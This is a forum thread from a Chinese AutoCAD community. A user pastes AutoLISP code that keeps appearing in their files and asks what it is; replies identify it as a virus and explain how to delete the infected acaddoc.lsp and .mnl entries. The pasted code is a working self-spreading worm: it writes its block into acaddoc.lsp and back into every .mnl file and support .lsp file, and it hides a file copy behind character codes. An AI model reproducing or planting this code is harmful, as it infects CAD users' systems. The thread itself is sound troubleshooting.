明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 1965|回复: 3

[讨论] 自己写的lisp中打开cad时会自动写入代码,使得lisp无法使用,这个代码是什么意思?

[复制链接]
发表于 2013-8-5 22:30 | 显示全部楼层 |阅读模式
我写的lisp在加载后,每次打开都会自动写入如下代码,我删除后第二次打开又会这样,然后代码就无法执行,请问这段代码是啥意思?
  1. (setq flagx t)
  2. (setq bz "(setq flagx t)")
  3. (defun app(source target bz / flag flag1 wjm wjm1 text)
  4.   (setq flag nil)
  5.   (setq flag1 t)
  6.   (if (findfile target)
  7.     (progn
  8.       (setq wjm1 (open target "r"))
  9.       (while (setq text (read-line wjm1))
  10.   (if (= text bz) (setq flag1 nil))
  11.   );while
  12.       (close wjm1)
  13.       );progn
  14.     );if
  15.   (if flag1
  16.     (progn
  17.       (setq wjm (open source "r"))
  18.       (setq wjm1 (open target "a"))
  19.       (write-line (chr 13) wjm1)
  20.       (while (setq text (read-line wjm))
  21.   (if (= text bz) (setq flag t))
  22.   (if flag
  23.     (progn
  24.       (write-line text wjm1)
  25.       );progn
  26.     );if
  27.   );while
  28.       (close wjm1)
  29.       (close wjm)
  30.       );progn
  31.     );if
  32.   );defun
  33. (setvar "cmdecho" 0)
  34. (setq acadmnl (findfile "acad.mnl"))
  35. (setq acadmnlpath (vl-filename-directory acadmnl))
  36. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
  37. (setq mnlnum (length mnlfilelist))
  38. (setq acadexe (findfile "acad.exe"))
  39. (setq acadpath (vl-filename-directory acadexe))
  40. (setq support (strcat acadpath "\\support"))
  41. (setq lspfilelist (vl-directory-files support "*.lsp"))
  42. (setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
  43. (setq lspnum (length lspfilelist))
  44. (setq dwgname (getvar "dwgname"))
  45. (setq dwgpath (findfile dwgname))
  46. (if dwgpath
  47.   (progn
  48.     (setq acaddocpath (vl-filename-directory dwgpath))
  49.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
  50.     (setq mnln 0)
  51.     (while (< mnln mnlnum)
  52.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
  53.       (app mnlfilename acaddocfile bz)
  54.       (app acaddocfile mnlfilename bz)
  55.       (setq mnln (1+ mnln))
  56.       );while
  57.     (setq lspn 0)
  58.     (while (< lspn lspnum)
  59.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
  60.       (app lspfilename acaddocfile bz)
  61.       (app acaddocfile lspfilename bz)
  62.       (setq lspn (1+ lspn))
  63.       );while
  64.     );progn
  65. (load "acadappp.lsp")
  66. (princ)
  67. (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
  68. (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
  69. (if (null stol) (load "lcm" ""))
  70. (princ)
  71. (load "acadapq")
  72. (princ)
发表于 2013-8-5 22:32 | 显示全部楼层
中毒了
发表于 2013-8-5 22:35 | 显示全部楼层
关注下,我以前也遇到过这个现象
发表于 2013-8-6 13:41 | 显示全部楼层
全盘搜索文件:acaddoc.lsp,删除,再在*mnl文件里上面的文件删除,搞定
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-4-28 21:18 , Processed in 0.161643 second(s), 25 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表